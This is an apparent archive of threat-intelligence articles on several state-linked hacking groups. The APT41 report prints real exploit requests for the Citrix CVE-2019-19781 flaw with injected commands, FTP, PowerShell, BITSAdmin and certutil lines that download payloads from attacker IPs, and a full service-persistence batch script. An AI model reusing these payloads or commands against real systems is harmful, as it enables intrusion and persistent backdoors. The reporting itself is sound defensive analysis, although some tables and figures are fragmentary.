Category Archives: APT

Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry

The Winnti hacking group continues to target gaming industry, recently it used a new malware named PipeMon and a new method to achieve persistence.

Winnti hacking group is using a new malware dubbed PipeMon and a novel method to achieve persistence in attacks aimed at video game companies.

The Winnti group was first spotted by Kaspersky in 2013, but according to the researchers the gang has been active since 2007.

The experts believe that under the Winnti umbrella there are several APT groups, including  Winnti, Gref, PlayfullDragon, APT17, DeputyDog, Axiom, BARIUM, LEADPassCV, Wicked Panda, Group 72, Blackfly, and APT41, and ShadowPad.

The APT group targeted organizations in various industries, including the aviation, gaming, pharmaceuticals, technology, telecoms, and software development industries.

PipeMon is a modular backdoor that was spotted by ESET researchers earlier this year on servers belonging to several developers of massively multiplayer online (MMO) games from South Korea and Taiwan. Each component of the backdoor is implemented by a DLL.

“In February 2020, we discovered a new, modular backdoor, which we named PipeMon. Persisting as a Print Processor, it was used by the Winnti Group against several video gaming companies that are based in South Korea and Taiwan and develop MMO (Massively Multiplayer Online) games.” reads the report published by the company. “Video games developed by these companies are available on popular gaming platforms and have thousands of simultaneous players.”

winnti backdoor gaming

In one case analyzed by the researchers, the hackers compromised a victim’s build system, then they have planted malware inside the video game executable. In another case, the Winnti group compromised the game servers were compromised, which could have allowed the attackers to conduct several malicious actions, including the manipulation of in-game currencies for financial gain.

Experts noticed that the PipeMon backdoor was signed with a certificate belonging to a video game company that was already hacked by Winnti in 2018.

Researchers also reported that the threat actors reused some C2 domains involved in other campaigns and used a custom login stealer that was previously associated with Winnti operations.

The experts discovered two PipeMon variants, but they were able to describe the infection process and how it has achieved persistence only for one of them.

The first stage of the PipeMon backdoor consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher.

The hackers achieved persistence by using the Windows print processors (DLLs). A malicious DLL‌ loader drops where the print processors reside and registered as an alternative print processor by modifying one of the two registry values:

HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll”

After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe) to load the malware.

Since the service starts every time the computer reboot, the attackers have achieved persistence.

“After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets.” continues the report.

“This technique is really similar to the Print Monitor persistence technique (being used by DePriMon, for example) and, to our knowledge, has not been documented previously.”

PipeMon modules are DLLs exporting a function called IntelLoader and are loaded using a reflective loading technique.

The loader, responsible for loading the main modules (ManagerMain and GuardClient) is Win32CmdDll.dll and is stored in the Print Processors directory. Experts noticed that modules are stored encrypted on disk at the same location with inoffensive-looking names.

Experts also spotted an updated version of PipeMon for which they were able to retrieve the first stage. Its architecture is highly similar to the original variant, but its code was rewritten from scratch.

“Once again, the Winnti Group has targeted video game developers in Asia with a new modular backdoor signed with a code-signing certificate likely stolen during a previous campaign and sharing some similarities with the PortReuse backdoor. This new implant shows that the Winnti Group is still actively developing new tools using multiple open source projects; they don’t rely solely on their flagship backdoors, ShadowPad and the Winnti malware.” concludes ESET.

Pierluigi Paganini

(SecurityAffairs – Winnti, hacking)

The post Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry appeared first on Security Affairs.

Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia

Cybersecurity researchers uncovered an Iranian cyber espionage campaign conducted by Chafer APT and aimed at critical infrastructures in Kuwait and Saudi Arabia.

Cybersecurity researchers from Bitdefender published a detailed report on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.

The cyber espionage campaigns were carried out by Iran-linked Chafer APT (also known as APT39 or Remix Kitten).

The Chafer APT group has distributed data stealer malware since at least mid-2014, it was focused on surveillance operations and the tracking of individuals.

The APT group targets telecommunication and travel industries in the Middle East to gather intelligence on Iran’s geopolitical interests.

“Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,” reads the researcher paper published by the experts.

“Some traces indicate that the goal of the attack was data exploration and exfiltration (on some of the victim’s tools such as Navicat, Winscp, found in an unusual location, namely “%WINDOWS%\ime\en-us-ime”, or
SmartFtpPasswordDecryptor were present on their systems).”

The attackers used several tools, including ‘living off the land’ tools, making it hard to attribute the attack to specific threat actors, as well as a custom-built backdoor.

The attacks against entities in Kuwait and Saudi Arabia have multiple similarities and shares some common stages, but experts noticed that the attacks seem more focused and sophisticated on victims from Kuwait.

Chafer APT launched spear-phishing attacks, the messages were used to deliver multiple backdoors that allowed them to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.

“Once the victims were compromised, attackers started to bring reconnaissance tools for network scanning (“xnet.exe”, “shareo.exe”) and credential gathering (as “mnl.exe” or “mimi32.exe”) or tools with multiple functionalities, such as CrackMapExec (for users’ enumeration, share listing, credentials harvesting and so on).” continues the report.

“During our investigation, on some of the compromised stations we observed some unusual behavior performed under a certain user account, leading us to believe the attackers managed to create a user account on the victims’ machine and performed several malicious actions inside the network, using that account.”

The attacks against entities in Kuwait appeared more sophisticated, attackers were creating a user account on the compromised machines and performed malicious actions inside the network, including credential harvesting with Mimikatz and lateral movements using multiple hacking tools from their arsenal.

Most of the hacking activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East.

The campaign against a Saudi Arabian entity was characterized by the large use of social engineering attacks to trick the victim into executing a remote administration tool (RAT), The RAT employed in the attacks shares similarities with those used against Kuwait and Turkey.

“The case investigated in Saudi Arabia was not as elaborate, either because the attackers did not manage to further exploit the victim, or because the reconnaissance revealed no information of interest.” continues the report.

“While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it. Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines.”

The campaigns against Kuwait and Saudi Arabia demonstrate the intense cyberespionage activity carried out by Iran-linked APT groups in the Middle East. Anyway we cannot underestimate that these hacking groups are extending their range of action targeting government and organizations worldwide.

Pierluigi Paganini

(SecurityAffairs – Chafer APT, hacking)

The post Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia appeared first on Security Affairs.

APT group targets high profile networks in Central Asia

Security firms have foiled an advanced cyber espionage campaign carried out by Chinese APT and aimed at infiltrating a governmental institution and two companies.

Antivirus firms have uncovered and foiled an advanced cyber espionage campaign aimed at a governmental institution and two companies in the telecommunications and gas sector.

The level of sophistication of the attack and the nature of targets suggests the involvement of an advanced persisten threat, likely from China, focused on cyber espionage activity in Central Asia.

Attackers used multiple commodity malware and previously unknown backdoors in the attacks, the analysis of their code suggests a possible link with multiple campaigns uncovered over several years.

Most of the C2 used by the attackers are hosted by the provider Choopa, LLC, and threat actors made large use of Gh0st RAT, a malware attributed to China-linked cyber espionage groups.

The security firm ESET and Avast first detected the attacks since September and January respectively. The researchers identified a host used as a repository containing hacking tools and backdoors, whose code has many similarities with malware previously associated with China-linked APT groups.

“The samples we analyzed contain links to malware samples and campaigns, such as MicrocinBYEBY, and Vicious Panda, previously described by Kaspersky, Palo Alto Networks, and Check Point, respectively. The backdoors we found are custom tools that have not previously been analyzed, as far as we know.” reads a report published by Avast. “The majority of the C&C servers are registered to Choopa, LLC, a hosting platform that has been used by cybercriminals in the past.”

Below a timeline of the attacks that appeared to be associated with the same threat actor.

Avast APT Timeline_May-2020

“An APT group, which we believe could possibly be from China, planted backdoors to gain long-term access to corporate networks. Based on our analysis, we suspect the group was also behind attacks active in Mongolia, Russia, and Belarus.” continues Avast.

Researchers from ESET that investigared into the attacks discovered three backdoors that collectively tracked as Mikroceen. The backdoors allowed the threat actors to manage the target file system, establish a remote shell, take screenshots, manage services and processes, and run console commands.

Below the list of backdoors published by ESET:

  • sqllauncher.dll (VMProtected backdoor)
  • logon.dll (VMProtected backdoor)
  • logsupport.dll (VMProtected backdoor)

Both “sqllauncher.dll” and “logon.dll” run as services and use the same C2 infrastructure, experts noticed that all of them feature protection against reverse engineering. Two of them, “sqllauncher.dll” and “logon.dll,” run as services and use the same C2 server.

Attackers use a version of the Mimikatz post-exploitation tool and rely on Windows Management Instrumentation (WMI) for lateral movement.

“Avast reported its findings to the local CERT team and reached out to the telecommunications company. We have not heard back from either organization.” concluded Avast.

“Avast has recently protected users in Central Asia from further attacks using the samples we analyzed.”

Both Avast and ESET have published a list of indicators of compromise (IoC) for the above threats.

Pierluigi Paganini

(SecurityAffairs – Microcin malware, hacking)

The post APT group targets high profile networks in Central Asia appeared first on Security Affairs.

Chinese APT Tropic Trooper target air-gapped military Networks in Asia

Chinese threat actors, tracked as Tropic Trooper and KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines.

Chinese APT group Tropic Trooper, aka KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines, Trend Micro researchers reported.

The Tropic Trooper APT that has been active at least since 2011, it was first spotted in 2015 by security experts at Trend Micro when it targeted government ministries and heavy industries in Taiwan and the military in the Philippines.

The threat actor targeted government offices, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong.

Since December 2014, the threat actors are using a malware dubbed USBferry in attacks against military/navy agencies, government institutions, military hospitals, and also a national bank.

“Recently, we discovered the Tropic Trooper group targeting Taiwanese and the Philippine military’s physically isolated environment using a USBferry attack (the name derived from a sample found in a related research).” reads the analysis published by Trend Micro. “USBferry has variants that perform different commands depending on specific targets; it can also combine capabilities, improve its stealth in infected environments, and steal critical information through USB storage”

Tropic Trooper

The USBferry USB malware could execute various commands on specific the infected system and allow to exfiltrate sensitive data through USB storage.

According to Trend Micro’s telemetry, attacks that employ USBferry attack are ongoing since December 2014 and has been targeting military or government users located in Asia.

The malware was first mentioned in a PwC report that attributes it to Tropic Trooper APT, but that did not include a detailed analysis.

The attackers would first target organizations related to military or government that implements fewer security measures compared with the real targets, then they attempt to use them as a proxy to the final target. In one case, the hackers compromised a military hospital and used it to move to the military’s physically isolated network.

Trend Micro researchers identified at least three versions of the malware with different variants and components.”

“Tropic Trooper uses the old way of achieving infection: by ferrying the installer into an air-gapped host machine via USB.” continues the report. “They employ the USB worm infection strategy using the USB device to carry the malware into the target’s computer and facilitate a breach into the secure network environment.”

The group used “tracert” and “ping” commands to map the target’s network
architecture (i.e. “tracert -h 8” collects the route (path) and measures transit delays of packets across an Internet Protocol (IP) network, while pings allow testing the target network’s connectivity).

The attackers attempted to determine if the infected machine has access to the internal network and the target mail portal.

In the absence of network connectivity, the malware collects information from the machine and copy the data to the USB drive.

The experts also discovered that the hackers use different backdoors in a recent attack, including WelCome To SvchostWelcome To IDShell, and Hey! Welcome Server.

The arsenal of the APT group includes scanning tools, a command-line remote control listener/port relay tool, and backdoor payload/steganography payload execution loaders.

“This targeted attack operation can be broken down into four important points.” concludes the report. “First, putting critical data in physically isolated networks is not an overarching solution for preventing cyberespionage activities. Second, their preferred technique of steganography isn’t just used to deliver payloads, but also for sending information back to the C&C server. Third, several hacking tools and components can be used to fulfill attacks in different target networks and environments. These tools and components also have a selfdelete command to make it tricky to trace the attack chain and all the related factors. Lastly, using an invisible web shell hides their C&C server location and makes detecting malicious traffic more difficult for network protection products

Pierluigi Paganini

(SecurityAffairs – Tropic Trooper, hacking)

The post Chinese APT Tropic Trooper target air-gapped military Networks in Asia appeared first on Security Affairs.

Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands

Russia-linked cyberespionage group Turla targets diplomatic entities in Europe with a new piece of malware tracked as COMpfun.

Security experts from Kaspersky Lab have uncovered a new cyberespionage campaign carried out by Russia-linked APT Turla that employs a new version of the COMpfun malware. The new malware allows attackers to control infected hosts using a technique that relies on HTTP status codes.

COMpfun was first spotted in the wild in 2014 by G DATA researchers, Kaspersky first observed the threat in autumn 2019 when it was employed in attacks against diplomatic entities across Europe.

“You may remember that in autumn 2019 we published a story about how a COMpfun successor known as Reductor infected files on the fly to compromise TLS traffic.” reads the analysis published by Kaspersky. “The campaign operators retained their focus on diplomatic entities, this time in Europe, and spread the initial dropper as a spoofed visa application.”

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

In March the APT group employed two new pieces of malware in watering hole attacks targeting several high-profile Armenian websites.

The COMpfun malware analyzed by Kaspersky implements a new technique to receive commands from the C2 as HTTP status codes.

COMpfun is a remote access trojan (RAT) that could collect system data, logs keystrokes, and takes screenshots.

Turla compfun

The new variant of the COMpfun malware includes two new features, the ability to monitor when USB removable devices plugged into or unplugged from the host, and the mentioned C2 communication technique.

The first feature was implemented to allow the malware propagating itself to the connected device.

The second feature was implemented to avoid detection, Turla vxers implemented new C2 protocol that relies on HTTP status codes.

HTTP status codes provide a state of the server and instruct clients on action to do (i.e. drop the connection), COMpfun exploited this mechanism to control the bot running on the compromised systems.

“We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918). Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status “Payment Required” (402), all these previously received commands are executed.” continues the analysis.

For example, if the COMpfun server would respond with a 402 status code, followed by a 200 status code, the malicious code sends collected target data to C2 with the current tickcount.

Below the list of commands associated with common HTTP status codes:

HTTP statusRFC status meaningCorresponding command functionality
200OKSend collected target data to C2 with current tickcount
402Payment RequiredThis status is the signal to process received (and stored in binary flag) HTTP statuses as commands
422Unprocessable Entity (WebDAV)Uninstall. Delete COM-hijacking persistence and corresponding files on disk
423Locked (WebDAV)Install. Create COM-hijacking persistence and drop corresponding files to disk
424Failed Dependency (WebDAV)Fingerprint target. Send host, network and geolocation data
427Undefined HTTP statusGet new command into IEA94E3.tmp file in %TEMP%, decrypt and execute appended command
428Precondition RequiredPropagate self to USB devices on target
429Too Many RequestsEnumerate network resources on target

“The malware operators retained their focus on diplomatic entities and the choice of a visa-related application – stored on a directory shared within the local network – as the initial infection vector worked in their favor. The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMPFun a strong offensive team.” concludes Kaspersky.

Pierluigi Paganini

(SecurityAffairs – Turla, malware)

The post Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands appeared first on Security Affairs.

Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage

From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China's Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information.

Phishing Emails with Tracking Links Target Chinese Government

The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China's Ministry of Emergency Management using the sender address lijianxiang1870@163[.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim's email address and code to report back to the actors if the email was opened.

Figure 1: Phishing email to China's Ministry of Emergency Management

Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China's Wuhan government and an email account also associated with the Ministry of Emergency Management.

  • libjs.inquirerjs[.]com/script/<VICTIM>
  • libjs.inquirerjs[.]com/script/<VICTIM>
  • m.topiccore[.]com/script/<VICTIM>
  • m.topiccore[.]com/script/<VICTIM>
  • libjs.inquirerjs[.]com/script/<VICTIM>

The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries.

Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19

APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload.

When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export "_force_link_krpt" is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%.

The decoy document (Figure 2) titled 冠状病毒实时更新:中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim.

Figure 2: COVID-themed decoy document

The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory.

It then uses vitlescaux[.]com for command and control.


The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally.









Email Address



MD5: d739f10933c11bd6bd9677f91893986c


MD5: a4808a329b071a1a37b8d03b1305b0cb


MD5: c5b98b77810c5619d20b71791b820529

Decoy Document (Not Malicious)

Detecting the Techniques


Signature Name

Endpoint Security

Network Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Email Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic



Mandiant Security Validation Actions

  • A150-096 - Malicious File Transfer - APT32, METALJACK, Download
  • A150-119 - Protected Theater - APT32, METALJACK Execution
  • A150-104 - Phishing Email - Malicious Attachment, APT32, Contact Information Lure

MITRE ATT&CK Technique Mapping



Initial Access

Spearphishing Attachment (T1193), Spearphising Link (T1192)


Regsvr32 (T1117), User Execution (T1204)

Defense Evasion

Regsvr32 (T1117)

Command and Control

Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).

Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/ HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=[redacted]&desc=[%'BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=[redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url= [redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.




Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','





Figure 6: Contents of

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.


This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.




CVE-2019-19781 Exploitation (Citrix Application Delivery Control)


CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

